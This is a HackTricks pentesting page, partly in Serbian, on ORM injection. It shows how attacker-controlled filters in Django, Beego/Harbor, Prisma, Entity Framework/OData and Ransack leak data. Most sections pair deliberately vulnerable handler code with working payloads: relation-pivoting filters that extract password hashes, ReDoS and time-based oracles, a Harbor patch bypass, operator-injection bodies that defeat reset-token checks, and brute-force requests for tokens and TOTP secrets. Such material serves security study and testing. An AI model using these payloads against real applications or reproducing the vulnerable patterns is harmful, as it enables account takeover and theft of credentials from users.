ORM Injection
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Django ORM (Python)
In this post is explained how it’s possible to make a Django ORM vulnerable by using for example a code like:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Obratite pažnju kako se celo request.data (koje će biti json) direktno prosleđuje filter objects from the database. Napadač može poslati neočekivane filtere da bi izazvao leak više podataka nego što se očekivalo.
Primeri:
- Login: U jednostavnom login pokušajte izazvati leak lozinki korisnika registrovanih u sistemu.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Moguće je izvršiti brute-force nad password dok ne bude leaked.
- Relational filtering: Moguće je proći kroz relacije da bi se leak-ovale informacije iz kolona za koje se nije očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće leak-ovati articles kreirane od strane korisnika sa ovim relacijama: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Moguće je pronaći lozinku svih korisnika koji su kreirali članak
- Many-to-many relational filtering: U prethodnom primeru nismo mogli da pronađemo lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge relacije to je moguće. Na primer: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
U ovom slučaju možemo pronaći sve users u departments users koji su kreirali articles i onda leak njihove passwords (u prethodnom json-u samo leak usernames, ali onda je moguće leak passwords).
- Abusing Django Group and Permission many-to-may relations with users: Štaviše, AbstractUser model se koristi za generisanje users u Django i po defaultu ovaj model ima neke many-to-many relationships with the Permission and Group tables. Što u suštini predstavlja default način da se access other users from one user ako su u same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Zaobilaženje ograničenja filtera: Isti blogpost predlaže zaobilaženje upotrebe nekih filtera, npr.
articles = Article.objects.filter(is_secret=False, **request.data). Moguće je dump-ovati članke koji imaju is_secret=True jer se možemo vratiti preko relacije do Article tabele i leak-ovati tajne članke iz ne-tajnih članaka — rezultati se spajaju (joined) i polje is_secret se proverava na ne-tajnom članku, dok se podaci leak-uju iz tajnog članka.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Zloupotrebom relacija moguće je zaobići čak i filtere koji su namenjeni zaštiti prikazanih podataka.
- Error/Time based via ReDoS: U prethodnim primerima se očekivalo da će odgovori biti različiti ako filtriranje radi ili ne, kako bi se to iskoristilo kao oracle. Ali može biti da se u bazi izvrši neka akcija i odgovor je uvek isti. U tom scenariju moguće je izazvati grešku u bazi da bi se dobio novi oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Iz istog posta u vezi ovog vektora:
- SQLite: Podrazumevano nema regexp operator (zahteva učitavanje ekstenzije treće strane)
- PostgreSQL: Ne poseduje podrazumevani regex timeout i manje je sklon backtrackingu
- MariaDB: Ne poseduje regex timeout
Beego ORM (Go) & Harbor Filter Oracles
Beego oponaša Django’s field__operator DSL, tako da svaki handler koji dozvoljava korisnicima da kontrolišu prvi argument QuerySeter.Filter() otkriva ceo graf relacija:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Zahtevi kao što su /search?filter=created_by__user__password__icontains=pbkdf mogu pivotirati kroz foreign keys tačno kao Django primitives iznad. Harbor’s q helper je parsirao korisnički unos u Beego filters, tako da korisnici sa niskim privilegijama mogu ispitivati tajne prateći odgovore liste:
GET /api/v2.0/users?q=password=~$argon2id$→ otkriva da li bilo koji hash sadrži$argon2id$.GET /api/v2.0/users?q=salt=~abc→ otkriva podnizove salt-a.
Brojanje vraćenih redova, posmatranje pagination metadata, ili poređenje dužina odgovora daje oracle za brute-force kompletnih hash-eva, salts i TOTP seeds.
Zaobilaženje Harbor’s zakrpa pomoću parseExprs
Harbor je pokušao da zaštiti osetljiva polja tako što ih je označio sa filter:"false" i validirao samo prvi segment izraza:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Interna funkcija parseExprs u Beego prolazi kroz svaki segment odvojen sa __ i, kada trenutni segment nije relacija, jednostavno prepisuje ciljno polje sledećim segmentom. Payload-i kao email__password__startswith=foo zato prolaze Harbor-ovu proveru Filterable(email)=true ali se izvršavaju kao password__startswith=foo, zaobilazeći deny-list-e.
v2.13.1 je ograničio ključeve na jedan separator, ali Harbor-ov vlastiti fuzzy-match builder dodaje operatore nakon validacije: q=email__password=~abc → Filter("email__password__icontains", "abc"). ORM to ponovo tumači kao password__icontains. Beego aplikacije koje inspektuju samo prvi __ komponent ili koje dodaju operatore kasnije u request pipeline ostaju ranjive na istu overwrite primitivu i i dalje se mogu zloupotrebiti kao blind leak oracles.
Prisma ORM (NodeJS)
Sledeće su tricks extracted from this post.
- Potpuna kontrola nad find:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Može se videti da se ceo javascript body prosleđuje prisma-i za izvršavanje upita.
U primeru iz originalnog posta, ovo bi proverilo sve postove koje je createdBy neko (svaki post je kreiran od nekoga) i vratilo i informacije o tom korisniku (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Sledeći primer selektuje sve postove koje je kreirao neko sa lozinkom i vratiće lozinku:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Potpuna kontrola where klauzule:
Pogledajmo ovo gde napadač može da kontroliše where klauzulu:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je filtrirati password korisnika direktno ovako:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Korišćenjem operacija poput
startsWithmoguće je doći do leak informacija.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Moguće je leak neobjavljene članke vraćanjem kroz many-to-many relationships između Category -[*..*]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Takođe je moguće leak svih korisnika iskorišćavanjem nekih loop back many-to-many relationships:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: U originalnom postu možete pročitati veoma opsežan niz testova izvedenih da bi se pronašao optimalan payload za leak informacija koristeći time based payload. Ovo je:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Gde je {CONTAINS_LIST} lista sa 1000 stringova da bi se osiguralo da je odgovor odložen kada se pronađe odgovarajući leak.
Confuzija tipova na where filterima (operator injection)
Prisma’s query API prihvata ili primitivne vrednosti ili objekte operatora. Kada handleri pretpostave da telo zahteva sadrži obične stringove, ali ih proslede direktno u where, napadači mogu ubaciti operatore u tokove autentifikacije i zaobići provere tokena.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Uobičajeni vektori prisile:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ odgovara svakom korisniku čiji token nijeE. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpasspostaje isti objekat. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks podudaranja podniza. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}ako se cookies prosleđuju Prisma-i.
Pošto Prisma rado evaluira { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, itd., svaka provera jednakosti za tajne (reset tokens, API keys, magic links) može se proširiti u predikat koji uspeva bez poznavanja tajne. Kombinujte ovo sa relacijskim filterima (createdBy) da odaberete metu.
Potražite tokove gde:
- Šeme zahteva se ne primenjuju, pa ugnježdeni objekti prežive deserializaciju.
- Prošireni body/query parseri ostaju omogućeni i prihvataju bracket sintaksu.
- Handleri prosleđuju korisnički JSON direktno u Prisma umesto da ga mapiraju na dozvoljena polja/operatore.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryablePomoćne funkcije koje iteriraju kroz svako string svojstvo i umotavaju ga u .Contains(term) efikasno izlažu passwords, API tokens, salts i TOTP secrets bilo kojem korisniku koji može pozvati endpoint. Directus CVE-2025-64748 je primer iz stvarnog sveta gde je directus_users search endpoint uključivao token i tfa_secret u svojim generisanim LIKE predikatima, pretvarajući brojače rezultata u leak oracle.
OData comparison oracles
ASP.NET OData controllers često vraćaju IQueryable<T> i dozvoljavaju $filter, čak i kada su funkcije kao contains onemogućene. Sve dok EDM izlaže svojstvo, attackers i dalje mogu upoređivati na njemu:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Samo prisustvo ili odsustvo rezultata (ili metapodataka o paginaciji) omogućava binarno pretraživanje svakog karaktera u skladu sa kolacijom baze podataka. Navigaciona svojstva (CreatedBy/Token, CreatedBy/User/Password) omogućavaju relacione pivot-e slične Django/Beego, pa je svaki EDM koji otkriva osetljiva polja ili preskače deny-liste po polju laka meta.
Biblioteke i middleware koji prevode korisničke stringove u ORM operatore (npr. Entity Framework dynamic LINQ helper-i, Prisma/Sequelize wrappers) treba tretirati kao visokorizične sinkove osim ako ne implementiraju stroge liste dozvoljenih polja/operatora.
Ransack (Ruby)
Ovi trikovi su pronađeni u ovom postu.
Tip
Napomena: Ransack 4.0.0.0 sada zahteva upotrebu eksplicitne liste dozvoljenih za pretražive atribute i asocijacije.
Ranljiv primer:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Obratite pažnju kako će query biti definisan parametrima koje pošalje attacker. Na primer, bilo je moguće brute-force the reset token uz pomoć:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Brute-forcing-om i eventualnim iskorišćavanjem relacija bilo je moguće leak-ovati više podataka iz baze podataka.
Collation-aware leak strategies
Poređenja stringova nasleđuju collation baze podataka, pa leak oracles moraju biti dizajnirani u skladu sa tim kako backend sortira karaktere:
- Podrazumevane MariaDB/MySQL/SQLite/MSSQL collations često su neosetljive na veličinu slova, tako da
LIKE/=ne mogu razlikovatiaodA. Koristite operatore osetljive na veličinu slova (regex/GLOB/BINARY) kada veličina slova tajne ima značaj. - Prisma i Entity Framework preslikavaju redosled baze podataka. Collations kao MSSQL-ov
SQL_Latin1_General_CP1_CI_ASstavljaju interpunkciju pre cifara i slova, pa probe binarne pretrage moraju da slede taj redosled umesto sirovog ASCII poretka. - SQLite-ov
LIKEje neosetljiv na veličinu slova osim ako nije registrovan custom collation, pa Django/Beego leaks mogu zahtevati__regexpredikate da bi se rekonstruisali tokeni osetljivi na veličinu slova.
Kalibracija payloads prema stvarnom collation-u izbegava uzaludne probe i značajno ubrzava automatizovane substring/binarne-pretrage napade.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


